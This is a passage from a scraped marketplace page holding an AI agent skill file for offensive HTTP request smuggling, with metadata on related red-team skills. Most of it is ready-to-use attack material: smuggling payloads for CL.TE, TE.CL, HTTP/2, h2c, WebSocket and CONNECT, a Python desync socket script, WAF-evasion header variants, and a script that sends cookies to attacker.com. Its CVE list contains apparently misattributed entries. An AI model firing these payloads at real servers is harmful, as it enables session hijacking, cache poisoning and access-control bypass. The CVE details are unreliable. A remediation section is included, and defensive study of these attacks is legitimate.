downgrade scenarios\n   - Check for header oversizing vulnerabilities\n   - Test method-specific handling differences\n\n## Vulnerabilities\n\n### Common HTTP Request Smuggling Scenarios\n\n```mermaid\nmindmap\n  root((HTTP Request Smuggling))\n    Security Control Bypass\n      WAF Bypass\n      Access Control Evasion\n      Authentication Bypass\n    Request\u002FResponse Queue Poisoning\n      Request Hijacking\n      Response Queue Poisoning\n      Cache Poisoning\n    Server-Specific Vulnerabilities\n      Nginx-Specific\n      Apache-Specific\n      NodeJS-Specific\n    Impact\n      Session Hijacking\n      Data Exposure\n      XSS Injection\n      Cache Poisoning\n      Network Scanning\n      Account Takeover\n```\n\n#### Security Control Bypass\n\n- Web Application Firewall (WAF) Bypass: Smuggling malicious content past WAF inspection\n- Access Control Evasion: Accessing restricted resources by smuggling authorized-looking requests\n- Authentication Bypass: Manipulating authentication flows through request smuggling\n\n#### Request\u002FResponse Queue Poisoning\n\n- Request Hijacking: Capturing parts of another user's request including cookies or authentication tokens\n- Response Queue Poisoning: Causing wrong responses to be sent to users\n- Cache Poisoning: Injecting malicious content into caches serving multiple users\n\n#### Server-Specific Vulnerabilities\n\n- Nginx-Specific: Inconsistent `Transfer-Encoding` handling with underscore prefixes\n- Apache-Specific: Different chunked encoding parser behavior\n- NodeJS-Specific: Unique header parsing behavior with multiple headers\n\n### Impact Examples\n\n- Session Hijacking: Stealing user session cookies through request smuggling\n- Sensitive Data Exposure: Smuggling requests to internal resources\n- Cross-Site Scripting (XSS): Injecting malicious scripts into responses sent to other users\n- HTTP Cache Poisoning: Poisoning cached responses viewed by multiple users\n- Internal Network Scanning: Using request smuggling for SSRF-like network scanning\n- Account Takeover: Smuggling requests to change user credentials\n\n## Methodologies\n\n### Tools\n\n- Burp Suite Professional: HTTP Request Smuggler extension ([_PortSwigger BApp Store_](https:\u002F\u002Fportswigger.net\u002Fbappstore\u002Faaaa60ef945341e8a450217a54a11646))\n- smuggler.py: `python3 smuggler.py -u \u003CURL>` ([_defparam\u002Fsmuggler_](https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler), [_anshumanpattnaik\u002Fhttp-request-smuggling_](https:\u002F\u002Fgithub.com\u002Fanshumanpattnaik\u002Fhttp-request-smuggling))\n- tiscripts: Collection of scripts including smuggling checks ([_defparam\u002Ftiscripts_](https:\u002F\u002Fgithub.com\u002Fdefparam\u002Ftiscripts))\n- h2csmuggler: `go run .\u002Fcmd\u002Fh2csmuggler check https:\u002F\u002Ftarget.com\u002F http:\u002F\u002Flocalhost` ([_assetnote\u002Fh2csmuggler_](https:\u002F\u002Fgithub.com\u002Fassetnote\u002Fh2csmuggler), [_BishopFox\u002Fh2csmuggler_](https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2csmuggler) for HTTP\u002F2)\n- Turbo Intruder: For advanced\u002Fcustomized request smuggling techniques in Burp Suite.\n- Param Miner: For detecting hidden attack surfaces which might be vulnerable.\n- h2spec \u002F h3spec: Conformance testing for HTTP\u002F2 and HTTP\u002F3 implementations.\n\n### Testing Techniques\n\n#### Basic Request Smuggling Test Patterns\n\n1. **CL.TE Pattern**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 39\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002Fadmin HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n2. **TE.CL Pattern**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 4\n   Transfer-Encoding: chunked\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n   ```\n\n3. **HTTP\u002F2 Downgrade Pattern**:\n\n   ```http\n   :method: POST\n   :path: \u002F\n   :authority: vulnerable-website.com\n   content-length: 0\n   content-length: 44\n\n   GET \u002Fadmin HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n4. **H2C Upgrade Smuggling Pattern**:\n\n```\nGET \u002F HTTP\u002F1.1\nHost: vulnerable-website.com\nConnection: Upgrade, HTTP2-Settings\nUpgrade: h2c\nHTTP2-Settings: AAMAAABkAAQAAP__\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable-website.com\n```\n\n#### Advanced Exploitation Techniques\n\n1. **Request Hijacking**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 50\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n2. **Response Queue Poisoning**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 146\n   Transfer-Encoding: chunked\n\n   0\n\n   HTTP\u002F1.1 200 OK\n   Content-Type: text\u002Fhtml\n   Content-Length: 30\n\n   \u003Chtml>Fake Response\u003C\u002Fhtml>\n   ```\n\n3. **WebSocket Hijacking**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 65\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002Fsocket HTTP\u002F1.1\n   Upgrade: websocket\n   Connection: Upgrade\n   ```\n\n### Defense Testing\n\n1. **Testing Patch Effectiveness**:\n   - Retest with various obfuscation techniques after patches\n   - Check for incomplete fixes or workarounds\n\n2. **Header Variations**:\n\n   ```\n   Transfer-Encoding: chunked\n   transfer-encoding: chunked\n   Transfer-Encoding:chunked\n   Transfer-Encoding: identity,chunked\n   Transfer-Encoding: identity, chunked\n   ```\n\n3. **Chunk Size Manipulation**:\n\n   ```\n   1\\r\\n\n   A\\r\\n\n   0\\r\\n\n   \\r\\n\n   ```\n\n4. **HTTP\u002F2 Strictness Checks**:\n\n- Ensure single, consistent body length signaling; reject duplicate\u002Fmalformed pseudo-headers.\n- Disable or tightly control h2c upgrades at edges.\n\n### Real-World Exploitation Workflow\n\n```mermaid\nsequenceDiagram\n    participant A as Attacker\n    participant F as Front-end Server\n    participant B as Back-end Server\n    participant V as Victim\n\n    A->>F: 1. Send Smuggling Payload\n    F->>B: 2. First Request (Front-end interpretation)\n    Note over F,B: Desynchronization Occurs\n    A->>F: 3. Send Normal Request\n    F->>B: 4. Second Request gets appended to smuggled content\n    V->>F: 5. Victim sends innocent request\n    F->>B: 6. Victim's request gets processed with attacker's content\n    B->>F: 7. Modified response based on smuggled content\n    F->>V: 8. Victim receives unexpected\u002Fmalicious response\n```\n\n1. **Identify Desync Vulnerability**:\n   - Test CL.TE, TE.CL, TE.TE patterns\n   - Confirm with time-delay observations\n\n2. **Establish Attack Vector**:\n   - Determine the most reliable desync method\n   - Identify the best obfuscation technique for the target\n\n3. **Craft Exploitation Payload**:\n   - Create a request that smuggles another request\n   - Target sensitive functionality or information disclosure\n\n4. **Execute and Validate**:\n   - Send the smuggled request\n   - Observe the effects on subsequent responses\n\n5. **Document Impact**:\n   - Demonstrate real security implications\n   - Show how the vulnerability could affect users\n\n### Modern Desync Variants\n\n#### HTTP\u002F3 Desync\n\nHTTP\u002F3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP\u002F3 and HTTP\u002F1.1:\n\n**HTTP\u002F3 to HTTP\u002F1.1 Translation:**\n\n```\n# HTTP\u002F3 request with duplicate headers\n:method: POST\n:path: \u002Fapi\u002Fendpoint\n:authority: target.com\ncontent-length: 10\ncontent-length: 50\n\n# Backend may use different content-length value\n```\n\n**Testing HTTP\u002F3:**\n\n```bash\n# Using curl with HTTP\u002F3\ncurl --http3 https:\u002F\u002Ftarget.com\u002Fendpoint -v\n\n# Check Alt-Svc header indicating HTTP\u002F3 support\ncurl -I https:\u002F\u002Ftarget.com | grep -i alt-svc\n```\n\n**QUIC Stream Manipulation:**\n\n- Multiple streams in single connection may be processed inconsistently\n- Stream resets can leave partial data in backend queues\n- QPACK header compression differences between implementations\n\n#### Client-Side Desync (CSD)\n\nClient-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.\n\n**Mechanism:**\n\n1. Attacker crafts response that browser caches\n2. Response includes smuggled request\n3. Next victim request gets poisoned response\n\n**Example CSD Attack:**\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 10\n\nx=\nGET \u002Fstatic\u002Finnocent.js HTTP\u002F1.1\nHost: vulnerable.com\n```\n\n**Browser receives:**\n\n```http\nHTTP\u002F1.1 200 OK\nContent-Length: 100\n\n\u003Cscript>\n  \u002F\u002F Malicious JavaScript injected into cached response\n  document.location='http:\u002F\u002Fattacker.com\u002Fsteal?cookie='+document.cookie;\n\u003C\u002Fscript>\n```\n\n**Testing for CSD:**\n\n1. Send smuggling payload\n2. Open same site in new tab\n3. Check if subsequent request receives smuggled response\n4. Look for `Age` or `X-Cache` headers indicating cache hit\n\n**High-Value Targets:**\n\n- JavaScript files (cached and executed)\n- CSS files (for exfiltration via background-image)\n- JSON API responses (manipulate application state)\n\n#### WebSocket Desync\n\nWebSocket upgrade process can be vulnerable to request smuggling:\n\n**WebSocket Upgrade Smuggling:**\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 200\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fchat HTTP\u002F1.1\nHost: vulnerable.com\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\nSec-WebSocket-Version: 13\nSec-WebSocket-Protocol: attacker-injection\n\n```\n\n**Smuggling After WebSocket Establishment:**\n\n```http\n# Send via established WebSocket connection\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable.com\nCookie: admin_session=stolen_token\n```\n\n**WebSocket Frame Manipulation:**\n\n- Inject malicious frames during upgrade\n- Exploit frame fragmentation handling differences\n- Target WebSocket proxies (nginx, HAProxy) that may parse differently\n\n**Testing Steps:**\n\n1. Initiate WebSocket upgrade with smuggling payload\n2. Monitor if backend processes smuggled HTTP request\n3. Check WebSocket frames for injected content\n4. Test multiple simultaneous upgrade requests\n\n#### Request Tunneling via CONNECT\n\nCONNECT method can be abused for request smuggling:\n\n```http\nCONNECT internal.service:80 HTTP\u002F1.1\nHost: vulnerable-proxy.com\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: internal.service\nAuthorization: Bearer stolen_token\n```\n\n**Testing:**\n\n1. Send CONNECT request to proxy\n2. Include smuggled request in CONNECT body\n3. Check if proxy forwards to internal service\n\n#### Pause-Based Desync\n\nExploiting TCP flow control and timing:\n\n```python\nimport socket\nimport time\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('vulnerable.com', 80))\n\n# Send headers slowly\ns.send(b'POST \u002F HTTP\u002F1.1\\r\\n')\ntime.sleep(2)\ns.send(b'Host: vulnerable.com\\r\\n')\ntime.sleep(2)\ns.send(b'Content-Length: 50\\r\\n')\ns.send(b'Transfer-Encoding: chunked\\r\\n\\r\\n')\n\n# Send smuggled request\ns.send(b'0\\r\\n\\r\\nGET \u002Fadmin HTTP\u002F1.1\\r\\n')\ns.send(b'Host: vulnerable.com\\r\\n\\r\\n')\n```\n\n#### Header Oversizing\n\nExploit differences in maximum header sizes:\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nX-Padding: AAAA[... 8KB of data ...]\nContent-Length: 100\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\n```\n\nIf front-end accepts larger headers than backend, backend may miss headers after cutoff point.\n\n### Detection Bypass Techniques (Advanced)\n\n**Header Name Obfuscation:**\n\n```http\nTransfer-Encoding : chunked          # Space before colon\nTransfer-Encoding\\t: chunked         # Tab\nTransfer\\rEncoding: chunked          # Carriage return\nTransfer\\x00Encoding: chunked        # Null byte (rare)\nTransfer\\x0bEncoding: chunked        # Vertical tab\n```\n\n**Multiple Content-Length Variations:**\n\n```http\nContent-Length: 10\nContent-Length: 20\nContent-length: 30           # Case variation\nCONTENT-LENGTH: 40           # Uppercase\nContent-Length : 50          # Space before colon\n```\n\n**HTTP\u002F2 Pseudo-Header Smuggling:**\n\n```http\n:method: POST\n:path: \u002F\n:authority: target.com\n:method: GET                  # Duplicate pseudo-header\ncontent-length: 0\ncontent-length: 50            # Duplicate content-length\n```\n\n**Transfer-Encoding Value Pollution:**\n\n```http\nTransfer-Encoding: chunked, identity\nTransfer-Encoding: identity, chunked\nTransfer-Encoding: chunked;q=1\nTransfer-Encoding: chunked\\x20\\x20\nTransfer-Encoding: chunked\\x0d\\x0a\n```\n\n### Real-World CVEs\n\n1. **CVE-2023-45853 - MiniZinc HTTP Parser**:\n   - Request smuggling via Transfer-Encoding handling\n   - Impact: RCE via smuggled requests\n\n2. **CVE-2023-38545 - curl SOCKS5 Heap Overflow**:\n   - Related to connection reuse that could enable smuggling\n   - Impact: RCE in certain configurations\n\n3. **CVE-2022-31629 - PHP HTTP Response Splitting**:\n   - Response splitting enabling smuggling attacks\n   - Impact: XSS and cache poisoning\n\n4. **CVE-2021-41773 - Apache HTTP Server Path Traversal**:\n   - Could be chained with request smuggling\n   - Impact: RCE via CGI script access\n\n5. **CVE-2020-11724 - Varnish Cache HTTP\u002F2 Desync**:\n   - HTTP\u002F2 to HTTP\u002F1.1 downgrade desync\n   - Impact: Cache poisoning and request smuggling\n\n## Remediation Recommendations\n\n- **Consistent Request Parsing**: Ensure consistent parsing rules across all servers\n- **HTTP\u002F2 Isolation**: Avoid translating between HTTP\u002F2 and HTTP\u002F1.1 where possible\n- **Header Validation**: Implement strict header validation\n- **Connection Resets**: Reset connections after each request when possible\n- **WAF Rules**: Configure WAF to detect request smuggling attempts\n- **Content-Length Validation**: Ensure Content-Length matches actual content\n- **Chunked Encoding Validation**: Implement proper chunked encoding parsing\n- **Regular Security Testing**: Perform request smuggling-specific security tests\n- **Unified Parser**: Use a single RFC-compliant parsing library across front\u002Fback tiers; normalize `Host`\u002F`:authority`\n- **Gateway Hardening**: Strip hop-by-hop\u002Fduplicate headers; disable TE other than `chunked`; enforce single message framing signal\n- **HTTP\u002F3 Controls**: Ensure QUIC implementation correctly handles stream management and header compression\n- **WebSocket Security**: Validate WebSocket upgrade requests; sanitize Sec-WebSocket-\\* headers; limit concurrent upgrades\n- **Client-Side Desync Prevention**: Set `Connection: close` on sensitive responses; use HTTP\u002F2 exclusively; implement strict cache controls\n- **Monitoring**: Log anomalous header patterns; alert on multiple Content-Length or Transfer-Encoding headers; track connection reuse metrics\n",{"name":5,"domain":23,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Foffensive-request-smuggling","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill offensive-request-smuggling",{"tool":43,"command":44},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill offensive-request-smuggling",{"tool":46,"command":47},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill offensive-request-smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-request-smuggling\u002FSKILL.md",true,[51],{"path":52,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":55,"sourceHtmlUrl":56},"index.json","REFERENCE","参考文档",548,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-request-smuggling\u002Findex.json",[58,83,106,128,150,166],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":25},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,23,82],"services","detect","services wmi persistence detect","wmi","persistence","de","cm","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":25},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[90,65,91,68,92,93,94,23,95,96,97,98,99,100,70,101,102,103,104,105],"exploit","services wmi exec exploit","exec","remote","traffic","Bash","analysis","team","across","crackmapexec","native","command","lateral movement","read","lateral-movement","Impacket",{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":25},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[113,114,115,116,117,118,23,95,119,96,120,121,70,103,122,123,124,125,126,127],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper","sonnet",{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":25},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[66,135,136,137,138,139,140,71,141,23,82,142,143,144,145,146,147,148,149,70],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":151,"name":152,"nameZh":6,"description":153,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":154,"categories":155,"keywords":156,"publishedAt":25},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[157,158,66,159,137,139,160,71,161,141,23,82,96,162,163,164,165,149,70,72],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":170,"categories":171,"keywords":172,"publishedAt":25},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[173,66,137,174,160,71,175,176,23,82,177,178,179,180,181,182,70,72,183,184],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]